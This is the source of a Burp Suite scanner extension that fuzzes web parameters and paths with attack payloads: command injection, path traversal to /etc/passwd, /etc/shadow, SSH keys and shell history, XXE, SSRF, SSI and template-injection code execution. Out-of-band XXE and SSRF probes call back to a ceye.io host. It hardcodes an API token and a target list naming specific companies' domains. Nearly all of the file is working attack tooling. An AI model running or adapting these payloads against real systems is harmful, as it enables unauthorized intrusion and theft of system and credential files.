1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
# @Time    : 2019/10/22 15:41
4
# @Author  : xiaodong
5
# @github  : https://github.com/dongfangyuxiao/
6
# @Site    : #编写这个插件测试是否存在任意文件读取和下载漏洞
7
# @File    : burp_LFI.py
8
# @Software: PyCharm
9
import threading
10
import re
11
from burp import IBurpExtender
12
from burp import IHttpListener
13
from burp import IHttpRequestResponse
14
from burp import IResponseInfo
15
from burp import IRequestInfo
16
from burp import IHttpService
17
from burp import IScannerCheck
18
from burp import IScannerInsertionPointProvider
19
from burp import IParameter
20
from burp import IScanIssue
21
from urlparse import urlparse
22
from java.net import URL
23
import urllib2
24
import sys
25
sys.path.append('C:/Python27/Lib/site-packages')
26
import requests
27
import urllib3
28
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  # 屏蔽ssl警告
29
class FuzzLFI:
30
    def __init__(self):
31
        # 任意文件读取敏感目录
32
        self.dir = [
33
            '&&net user',
34
            '&&cat /etc/passwd',
35
            '&net user',
36
            '&cat /etc/passwd',
37
            '&;&net user',
38
            '&;&cat /etc/passwd',
39
            '|net user',
40
            '|cat /etc/passwd',
41
            #上面是命令执行漏洞的
42
           'file:///etc/passwd',
43
           'dict://127.0.0.1:22',
44
           'local_file:///etc/passwd',
45
           'local-file:///etc/passwd',
46
           #这是ssrf的file协议和dict协议
47
           "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
48
           "<!DOCTYPE root [\n" +
49
           "<!ENTITY % remote SYSTEM \"file:///etc/passwd\">\n" +
50
           "%remote;]>\n" +
51
            "<root/>",
52
           #这是xxe的file协议读取 / etc / passwd
53
            "phpinfo()",
54
            "system('id')",
55
            "system('whoami')",
56
            "system('cat /etc/passwd')",
57
            #这是php代码执行
58
            "<!--#exec cmd=\"id\" -->",
59
            "<!--#exec cmd=\"cat /etc/passwd\" -->",
60
            #这是SSI注入
61
            '${233*233}',
62
            '@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\'id\').getInputStream())',
63
            '${{233*233}}',
64
            '<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }',
65
            '{self::getStreamVariable($SCRIPT_NAME)}',
66
            '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}',
67
            '233*233',
68
            '{{233*233}}',
69
             '<%= 233 * 233 %>',
70
            '<%= File.open(\'/etc/passwd\').read %>',
71
            '{php}echo \'id\';{/php}',
72
            '$eval(\'233*233\')',
73
            "{% import os %}{{ os.popen(\"id\").read() }",
74
            #以上是模板注入
75
            '/etc/passwd',
76
            '../logs/access_log',
77
            '../logs/error_log',
78
            '/etc/shadow',
79
            '/etc/group',
80
            'proc/self/environ',
81
            '/proc/self/environ',
82
            '/proc/self/cmdline',
83
            '/proc/self/stat',
84
            '/proc/self/status',
85
            '/proc/self/fd/0',
86
            '/var/cpanel/cpanel.config',
87
            '/../etc/passwd',
88
            '/../../etc/passwd',
89
            '/../../../etc/passwd',
90
            '/../../../../etc/passwd',
91
            '/../../../../../etc/passwd',
92
            '/../../../../../../etc/passwd',
93
            '/../../../../../../../etc/passwd',
94
            '/../../../../../../../../etc/passwd',
95
            '/../../../../../../../../../etc/passwd',
96
            '/../../../../../../../../../../etc/passwd',
97
            '/../../../../../../../../../../../etc/passwd',
98
            '/../../../../../../../../../../../../etc/passwd',
99
            '/../../../../../../../../../../../../../etc/passwd',
100
            '/../../../../../../../../../../../../../../etc/passwd',
101
            '/../../../../../../../../../../../../../../../../etc/passwd',
102
            '/../proc/self/environ',
103
            'proc/self/environ%00',
104
            '../proc/self/fd/8',
105
            '../proc/self/fd/8%00',
106
            '/etc/security/group',
107
            '/etc/security/passwd',
108
            '/etc/security/user',
109
            '/etc/security/environ',
110
            '/etc/security/limits',
111
            '/usr/lib/security/mkuser.default',
112
            '/apache/logs/access.log',
113
            '/apache/logs/error.log',
114
            '/etc/httpd/logs/acces_log',
115
            '/etc/httpd/logs/error_log',
116
            '/var/www/logs/access_log',
117
            '/usr/local/apache/logs/access_log',
118
            '/../../apache/logs/access.log',
119
            '/../../../apache/logs/access.log',
120
            '/../../../../apache/logs/access.log',
121
            '/logs/access_log',
122
            '/logs/error_log',
123
            '/../../logs/error_log',
124
            '/../../../logs/access_log',
125
            '/../../../../logs/error_log',
126
            '/../../../../../logs/error_log',
127
            '/../../../../../../logs/error_log',
128
            '/../../../../../../../logs/error_log',
129
            '/../../logs/access_log',
130
            '/../../../../logs/access_log',
131
            '/../../../../../logs/access_log',
132
            '/../../../../../../logs/access_log',
133
            '/../../../../../../../logs/access_log',
134
            '/etc/php.ini',
135
            '/bin/php.ini',
136
            '/etc/httpd/php.ini',
137
            '/WINDOWS\php.ini',
138
            '/WINNT\php.ini',
139
            '/apache\php\php.ini',
140
            '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
141
            '/usr/local/cpanel/logs',
142
            'C:/boot.ini',
143
            'c:/wamp/logs/access.log',
144
            '/etc/logrotate.d/proftpd',
145
            '/../etc/passwd%00',
146
            '/../../etc/passwd%00',
147
            '/../../../etc/passwd%00',
148
            '/../../../../etc/passwd%00',
149
            '/../../../../../etc/passwd%00',
150
            '/../../../../../../etc/passwd%00',
151
            '/../../../../../../../etc/passwd%00',
152
            '/../../../../../../../../etc/passwd%00',
153
            '/../../../../../../../../../etc/passwd%00',
154
            '/../../../../../../../../../../etc/passwd%00',
155
            '/../../../../../../../../../../../etc/passwd%00',
156
            '/../../../../../../../../../../../../etc/passwd%00',
157
            '/../../../../../../../../../../../../../etc/passwd%00',
158
            '/../../../../../../../../../../../../../../etc/passwd%00',
159
            '/../../../../../../../../../../../../../../../../etc/passwd%00',
160
            '/../WEB-INF/web.xml',
161
            '/../../WEB-INF/web.xml',
162
            '/../../../WEB-INF/web.xml',
163
            '/../../../../WEB-INF/web.xml',
164
            '/../../../../../WEB-INF/web.xml',
165
            '/../../../../../../WEB-INF/web.xml',
166
            '/../../../../../../..//WEB-INF/web.xml'
167
                      ]
168
        self.errorFlag = re.compile(r'.*(root:|sbin|uid=|State: R (running)|Tgid:|TracerPid:|Uid:|File does not exist:|emailusersbandwidth|adminuser=|database_prefix=|nologin|DB_NAME|daemon:|DOCUMENT_ROOT=|PATH="|HTTP_USER_AGENT|HTTP_ACCEPT_ENCODING=|apache_port=|cpanel/logs/access|allow_login_autocomplete|54289).*')
169
​
170
        self.dir2 = [
171
            'etc/passwd',
172
            '../logs/access_log',
173
            '../logs/error_log',
174
            'etc/shadow',
175
            '../etc/passwd',
176
            '../../etc/passwd',
177
            '../../../etc/passwd',
178
            '../../../../etc/passwd',
179
            '../../../../../etc/passwd',
180
            '../../../../../../etc/passwd',
181
            '../../../../../../../etc/passwd',
182
            '../../../../../../../../etc/passwd',
183
            '../../../../../../../../../etc/passwd',
184
            '../../../../../../../../../../etc/passwd',
185
            '../../../../../../../../../../../etc/passwd',
186
            '../../../../../../../../../../../../etc/passwd',
187
            '../../../../../../../../../../../../../etc/passwd',
188
            '../../../../../../../../../../../../../../etc/passwd',
189
            '../../../../../../../../../../../../../../../../etc/passwd',
190
            '../../logs/access_log',
191
            '../../../../logs/access_log',
192
            '../../../../../logs/access_log',
193
            '../../../../../../logs/access_log',
194
            '../../../../../../../logs/access_log',
195
            '../etc/passwd%00',
196
            '../../etc/passwd%00',
197
            '../../../etc/passwd%00',
198
            '../../../../etc/passwd%00',
199
            '../../../../../etc/passwd%00',
200
            '../../../../../../etc/passwd%00',
201
            '../../../../../../../etc/passwd%00',
202
            '../../../../../../../../etc/passwd%00',
203
            '../../../../../../../../../etc/passwd%00',
204
            '../../../../../../../../../../etc/passwd%00',
205
            '../../../../../../../../../../../etc/passwd%00',
206
            '../../../../../../../../../../../../etc/passwd%00',
207
            '../../../../../../../../../../../../../etc/passwd%00',
208
            '../../../../../../../../../../../../../../etc/passwd%00',
209
            '../../../../../../../../../../../../../../../../etc/passwd%00',
210
            'WEB-INF/web.xml',
211
            '../WEB-INF/web.xml',
212
            '../../WEB-INF/web.xml',
213
            '../../../WEB-INF/web.xml',
214
            '../../../WEB-INF/web.xml',
215
            '../../../../WEB-INF/web.xml',
216
            '../../../../../WEB-INF/web.xml',
217
            '../../../../../../WEB-INF/web.xml',
218
            '../../../../../../../WEB-INF/web.xml',
219
            '../../../../../../../../WEB-INF/web.xml',
220
            '../../../../../../../../../../WEB-INF/web.xml',
221
            'config/config_ucenter.php.bak',
222
            'config/.config_ucenter.php.swp',
223
            'config/.config_global.php.swp',
224
            'config/config_global.php.1',
225
            'uc_server/data/config.inc.php.bak',
226
            'config/config_global.php.bak',
227
            'include/config.inc.php.tmp',
228
            # discuz敏感目录,正则匹配<?php>
229
            'access.log',
230
            'www.log',
231
            'error.log',
232
            'log.log',
233
            'sql.log',
234
            'errors.log',
235
            'debug.log',
236
            'db.log',
237
            'install.log',
238
            'server.log',
239
            'sqlnet.log',
240
            'WS_FTP.log',
241
            'database.log',
242
            'data.log',
243
            'app.log',
244
            'log.tar.gz',
245
            'log.rar',
246
            'log.zip',
247
            'log.tgz',
248
            'log.tar.bz2',
249
            'log.7z',
250
            # 日志文件
251
            'WEB-INF/classes',
252
            'jPlayer/',
253
            'jwplayer/',
254
            'extjs/',
255
            'swfupload/',
256
            'boss/',
257
            'editor/',
258
            'ckeditor/',
259
            'htmedit/',
260
            'htmleditor/',
261
            'ueditor/',
262
            'tomcat/',
263
            'output/',
264
            'fck/',
265
            'cgi-bin/',
266
            'admin/',
267
            'bak/',
268
            'backup/',
269
            'conf/',
270
            'config/',
271
            'debug/',
272
            'data/',
273
            'database/',
274
            'deploy/',
275
            'WEB-INF/',
276
            'install/',
277
            'manage/',
278
            'manager/',
279
            'monitor/',
280
            'tmp/',
281
            'temp/',
282
            'test/',
283
            'RPC2/',
284
            'wp-config.php.inc',
285
            'wp-config.inc',
286
            'wp-config.bak',
287
            'wp-config.php~',
288
            '.wp-config.php.swp',
289
            'wp-config.php.bak',
290
            'auto/config',
291
            'configprops',
292
            'beans',
293
            'dump',
294
            'env',
295
            'env/{name}',
296
            'health',
297
            'info',
298
            'metrics',
299
            'shutdown',
300
            'trace',
301
            'manage/',
302
            '.svn/entries',
303
            'code',
304
            'phpmyadmin',
305
            'cache/',
306
            'compile/',
307
            'data1/',
308
            'entries/',
309
            'storage/',
310
            'upload/',
311
            'add/',
312
            'test.zip',
313
            '.zip',
314
            'www.rar',
315
            'foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd',
316
            '..%252F..%252F..%252F..%252Fetc%252fpasswd',
317
            '.bash_history',
318
            '.buildpath',
319
            '.history',
320
            '.mysql_history',
321
            '.project',
322
            '.ssh/authorized_keys',
323
            'mydata/',
324
            'cacti/',
325
            'cms/',
326
            'main/',
327
            'db/',
328
            'dede/',
329
            'denglu/',
330
            'edit/',
331
            'setting/',
332
            'sys/',
333
            'axis2/',
334
            'ecp/',
335
            'reg/',
336
            'register/',
337
            'sign/',
338
            'download.jsp',
339
            'wls-wsat/CoordinatorPortType',
340
            'console/',
341
            'ws_utc/',
342
            'uddiexplorer/',
343
            'safe.cgi',
344
            'victim.cgi',
345
            'CFIDE/',
346
            'administrator/',
347
​
348
​
349
​
350
        ]
351
​
352
class BurpExtender(IBurpExtender,IScannerCheck):
353
​
354
    def registerExtenderCallbacks(self,callbacks):
355
        self._callbacks = callbacks
356
        self._helpers = callbacks.getHelpers()
357
        self._callbacks.registerScannerCheck(self) #注册扫描插件
358
        self._callbacks.setExtensionName("LFI")#定义插件的名称
359
        print("for lfi scan")
360
        self.fuzzLFI = FuzzLFI()#引入上面定义的类
361
        self.dirList = []
362
    #以上都是标准化程序
363
​
364
    def doPassiveScan(self, baseRequestResponse):
365
        lfiTarget = []
366
​
367
        Request = baseRequestResponse.getRequest()
368
        Response = baseRequestResponse.getResponse()
369
        analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters= self.get_request_info(Request )
370
        ResHeaders, ResBodys, ResStatusCode,resLength= self.get_response_info(Response)
371
        httpService = baseRequestResponse.getHttpService()
372
        host, port, protocol, ishttps, = self.get_server_info(httpService)
373
        if "?xml" in reqBodys or ("xml" or "*/*" in reqHeaders):
374
            xxeBodyFlag = True
375
        targetHost = ['saicmaxus', 'saicmotor', 'maxuscloud','rv2go','224','226','129','130','91','sxc','bihuo','100','bihuoedu','islefoundation']
376
        url = self.get_request_url(protocol, reqHeaders)
377
        if (host.split('.')[-3] in  targetHost) or (host.split('.')[-2] in targetHost):#多级或单级或类似baidu.net.cn的形势取主域名字段,比对是否在目标列表中
378
            if xxeBodyFlag:
379
                tXXEBody = threading.Thread(target=self.xxeBody, args=(
380
                    Request, protocol, host, port, ishttps,reqHeaders))
381
                lfiTarget.append(tXXEBody)
382
            for parameter in reqParameters:
383
                parameterName, parameterValue, parameterType = self.get_parameter_Name_Value_Type(parameter)
384
                #print(parameterName, parameterValue,parameterType)
385
                if parameterType ==0 or parameterType ==1 :#0是post型参数1是get型,2是cookie,这里不测试cookie里面的参数
386
​
387
                    if xxeBodyFlag:
388
                        tXXEPara = threading.Thread(target=self.xxeParameter, args=(
389
                        Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
390
                    tLfi = threading.Thread(target=self.lfiTest, args=(
391
                        Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
392
                    tSSRF = threading.Thread(target=self.ssrfHttp, args=(
393
                        Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
394
                    lfiTarget.append(tXXEPara)
395
                    lfiTarget.append(tLfi)
396
                    lfiTarget.append(tSSRF)
397
            url = urlparse(url)
398
            url = url.scheme + '://' + url.netloc + "/".join(url.path.split('/')[0:-1]) + "/"
399
​
400
            if (url not  in self.dirList) and (ResStatusCode !=302 and ResStatusCode!=301):#如果本身就是一个跳转的页面,或者已经扫描过了,我们就不管了
401
                print url
402
                self.dirList.append(url)
403
                html404_status, html404_content = self.html_404_analyze(url)
404
                tLfiDir = threading.Thread(target=self.lfiDir, args=(
405
                Request, protocol, host, port, ishttps, url, html404_status, html404_content))
406
                lfiTarget.append(tLfiDir)
407
​
408
        for x in lfiTarget:
409
            x.start()
410
        for x in lfiTarget:
411
            x.join()
412
                #else:
413
                    #pass
414
​
415
    def consolidateDuplicateIssues(self, existingIssue, newIssue):
416
​
417
        return 0
418
​
419
    def doActiveScan(self, baseRequestResponse, insertionPoint):
420
            # report the issue
421
            return None
422
​
423
    def lfiTest(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
424
        for paraNewValue in self.fuzzLFI.dir:
425
            paraNewValue= urllib2.quote(paraNewValue)
426
            newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);#重建参数和参数值
427
            newRequest = self._helpers.updateParameter(request, newParameter);#更新参数值
428
            #print(newRequest)
429
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);#生成http请求
430
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
431
                newRequest)#获取请求包信息(如果存在可以获取payload)
432
            #analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
433
​
434
            newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)#获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据)
435
            # 判断是否存在特征
436
            errorInject = self.fuzzLFI.errorFlag.findall(newResBodys)
437
            #print(newReqBodys)
438
            if errorInject:
439
                # 获取请求的url
440
                newReqUrl = self.get_request_url(protocol, newReqHeaders)
441
                content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[LFI GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys)
442
                print (content)
443
                self.save(content+'\t\n')
444
                print ('-' * 50)
445
                break
446
​
447
​
448
​
449
    def lfiDir(self, request, protocol, host, port, ishttps, url,html404_status, html404_content):
450
        for paraNewValue in self.fuzzLFI.dir2:
451
            newRequest = self._helpers.buildHttpRequest(URL(url+paraNewValue));  # 更新url值#这个地方一定要指定URL类型的,不然重组的时候会报错
452
            #print(url+paraNewValue)
453
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);  # 生成http请求
454
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
455
                newRequest)  # 获取请求包信息(如果存在可以获取payload)
456
            # analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
457
            # url = self.get_request_url(protocol,reqHeaders)
458
            # print(url)
459
            newResHeaders, newResBodys, newResStatusCode, resLength = self.get_response_info(
460
                newResponse)  # 获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据)
461
            # 判断是否存在特征abs(resLength - len(html404_content))<100
462
            errorInject = self.fuzzLFI.errorFlag.findall(newResBodys)
463
​
464
            if errorInject  or (newResStatusCode == 206) or ((newResStatusCode == 200 or newResStatusCode == 302 or newResStatusCode == 301) and abs(resLength - len(html404_content))>50):#如果别人定义的有404友好页面,也会跳转到友好页面,这时返回的状态码就是200,而我们要排除这种情况
465
                # 获取请求的url
466
                newReqUrl = self.get_request_url(protocol, newReqHeaders)
467
                content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[DIR GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys)
468
                print(content)
469
                self.save(content + '\t\n')
470
                print('-' * 50)
471
                break
472
​
473
​
474
​
475
​
476
    def html_404_analyze(self, url):
477
        url = url+'justfortesthtmlshifoucunzai.html'
478
        headers = {
479
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
480
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
481
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
482
            "Accept-Encoding": "gzip, deflate"
483
        }
484
        try:
485
            html_404 = requests.get(url,headers=headers,timeout=5,verify=False)#记得要设置忽略证书,不然一定会报错,取不到404页面的值
486
            return html_404.status_code,html_404.content
487
        except Exception as e:
488
            return None,None
489
            pass
490
​
491
    def ssrfHttp(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
492
        paraNewValue = 'http://ssrf.m4mta5.ceye.io/'+host+parameterName+"testssrf1234567890"
493
        newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);#重建参数和参数值
494
        newRequest = self._helpers.updateParameter(request, newParameter);#更新参数值
495
            #print(newRequest)
496
        newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);#生成http请求
497
        newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
498
                newRequest)#获取请求包信息(如果存在可以获取payload)
499
        #analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
500
​
501
        newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)#获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据)
502
​
503
​
504
        pattern = re.compile(host + parameterName + "testssrf1234567890" )
505
        response = self.ceyeFin()
506
        result = pattern.findall(response)
507
        if result:
508
            newReqUrl = self.get_request_url(protocol, newReqHeaders)
509
            content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[SSRF GET]',newReqUrl, newReqHeaders, newReqBodys)
510
            print (content)
511
            self.save(content + '\t\n')
512
            print ('-' * 50)
513
​
514
​
515
        if paraNewValue in "".join(newResHeaders):
516
            newReqUrl = self.get_request_url(protocol, newReqHeaders)
517
            content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[URL GET]', newReqUrl, newReqHeaders,
518
                                                                           newReqBodys)
519
            print (content)
520
            self.save(content + '\t\n')
521
            print ('-' * 50)
522
​
523
    def ceyeFin(self):
524
        headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
525
                    'Content-Type': 'application/json; charset=utf-8'}
526
        url = 'http://api.ceye.io/v1/records?token=23715ab222a6e221916405658caf5061&type=http'
527
        response = requests.get(url,headers =headers,timeout=5).text
528
        return response
529
​
530
    def xxeParameter(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
531
​
532
        paraNewValue = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
533
                      "<!DOCTYPE root [\n" +
534
                      "<!ENTITY % remote SYSTEM \"http://" + "xxeparameter.m4mta5.ceye.io/" + host + parameterName + "xxetestparameter" + "\">\n" +
535
                      "%remote;]>\n" +
536
                      "<root/>")
537
​
538
        newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);#重建参数和参数值
539
        newRequest = self._helpers.updateParameter(request, newParameter);#更新参数值
540
            #print(newRequest)
541
        newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);#生成http请求
542
        newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
543
                newRequest)#获取请求包信息(如果存在可以获取payload)
544
        #analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
545
​
546
        newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)#获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据)
547
​
548
        pattern = re.compile(host + parameterName + "xxetestparameter" )
549
        response = self.ceyeFin()
550
        result = pattern.findall(response)
551
        if result:
552
            newReqUrl = self.get_request_url(protocol, newReqHeaders)
553
            content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[XXE Parameter GET]',newReqUrl, newReqHeaders, newReqBodys)
554
            print (content)
555
            self.save(content + '\t\n')
556
            print ('-' * 50)
557
​
558
​
559
​
560
    def xxeBody(self, request, protocol, host, port, ishttps,reqHeaders):
561
​
562
        xxePayload = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
563
                      "<!DOCTYPE root [\n" +
564
                      "<!ENTITY % remote SYSTEM \"http://" + "xxebody.m4mta5.ceye.io/" + host + "xxebody" + "\">\n" +
565
                      "%remote;]>\n" +
566
                      "<root/>")
567
        reqHeaders[0].split(' ')[0]="POST"
568
        xxe = self._helpers.buildHttpMessage(reqHeaders, xxePayload)
569
        newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, xxe)
570
        pattern = re.compile(host+'xxebody')
571
        response = self.ceyeFin()
572
        result = pattern.findall(response)
573
        if result:
574
            newReqUrl = self.get_request_url(protocol, reqHeaders)
575
            content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[XXE Body GET]',newReqUrl, reqHeaders, xxePayload)
576
            print (content)
577
            self.save(content + '\t\n')
578
            print ('-' * 50)
579
    # 获取响应的一些信息:响应头,响应内容,响应状态码
580
    def get_response_info(self, response):
581
        analyzedResponse = self._helpers.analyzeResponse(
582
            response)  # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
583
        resHeaders = analyzedResponse.getHeaders()  # getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。
584
        resBodys = response[
585
                   analyzedResponse.getBodyOffset():].tostring()  # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
586
        resStatusCode = analyzedResponse.getStatusCode()  # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
587
        resLength = len(resBodys)
588
        return resHeaders, resBodys, resStatusCode, resLength
589
​
590
        # 获取服务端的信息,主机地址,端口,协议
591
    def get_server_info(self, httpService):
592
        host = httpService.getHost()
593
        port = httpService.getPort()
594
        protocol = httpService.getProtocol()
595
        ishttps = False
596
        if protocol == 'https':
597
            ishttps = True
598
        return host, port, protocol, ishttps
599
​
600
        # 获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)
601
    def get_parameter_Name_Value_Type(self, parameter):
602
        parameterName = parameter.getName()
603
        parameterValue = parameter.getValue()
604
        parameterType = parameter.getType()
605
        return parameterName, parameterValue, parameterType
606
​
607
        # 获取请求的url
608
​
609
    def get_request_url(self, protocol, reqHeaders):
610
        link = reqHeaders[0].split(' ')[1]
611
        host = reqHeaders[1].split(' ')[1]
612
        if 'http' in link:
613
            return link
614
        else:
615
            return protocol + '://' + host + link
616
​
617
    # 保存结果
618
    def save(self, content):
619
        print(content)
620
        f = open('burp_lfi.txt', 'at')
621
        f.writelines(content + '\n\n')
622
        f.close()
623
​
624
    def saveUrl(self, content):
625
        print(content)
626
        f = open('burp_url.txt', 'at')
627
        f.writelines(content + '\n\n')
628
        f.close()
629
​
630
    def get_request_info(self, request):
631
        analyzedRequest = self._helpers.analyzeRequest(
632
            request)  # analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象
633
        reqHeaders = analyzedRequest.getHeaders()  # 用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。
634
        reqBodys = request[analyzedRequest.getBodyOffset():].tostring()  # 获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。
635
        reqMethod = analyzedRequest.getMethod()  # 获取请求方法
636
        reqParameters = analyzedRequest.getParameters()
637
        return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters
638
​
639
​
640
​